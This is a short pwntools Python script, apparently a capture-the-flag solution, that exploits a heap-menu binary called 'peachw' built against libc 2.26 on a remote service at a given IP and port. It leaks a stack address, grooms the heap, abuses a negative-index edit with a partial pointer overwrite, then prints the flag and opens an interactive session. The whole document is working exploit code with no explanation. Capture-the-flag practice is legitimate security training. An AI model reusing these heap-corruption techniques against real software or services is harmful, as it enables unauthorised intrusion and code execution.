1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
| from pwn import *
context.log_level = 'debug'
binary = './peachw'
local = 0
if local:
p = process(binary)
libc = ELF('./libc/libc-2.26.so')
else:
p = remote('1.13.162.249', 10003)
libc = ELF('./libc/libc-2.26.so')
elf = ELF(binary)
def add(index, name, size, content):
p.send('\x01')
p.sendlineafter('? ', str(index))
p.sendafter(': \n', name)
p.sendlineafter('peach:\n', str(size))
rv = p.recvline()
if b"descripe" in rv:
p.send(content)
p.recvuntil("Success!\n")
def free(index):
p.sendafter('choice: ', '\x02')
p.sendlineafter(' ?\n', str(index))
def show(index, num):
p.sendafter('choice: ', '\x03')
p.sendlineafter(' ? ', str(index))
p.sendafter('number?\n', num)
def edit(index, size, content):
p.sendafter('choice: ', '\x04')
p.sendlineafter(' ? ', str(index))
p.sendafter('peach : ', p16(size))
p.sendafter('peach \n', content)
p.sendafter('peach?\n', 'yes\x00'.ljust(0x1d, 'a'))
p.recvuntil('peach is ')
stack_addr = int(p.recv()[0:5], 10) - 96
success('stack_addr -> {}'.format(hex(stack_addr)))
add(0, 'a', 0x430, 'a')
free(0)
add(0, '\xa0', 0x300, p64(0) + p64(0x31))
add(1, 'a', 0x100, 'a')
add(2, 'a', 0x100, 'a')
edit(-36, 0x220, 'a'*0x198 + p16(stack_addr))
free(2)
msg = p.recv()
if "flag" in msg:
print(msg)
p.interactive()
|
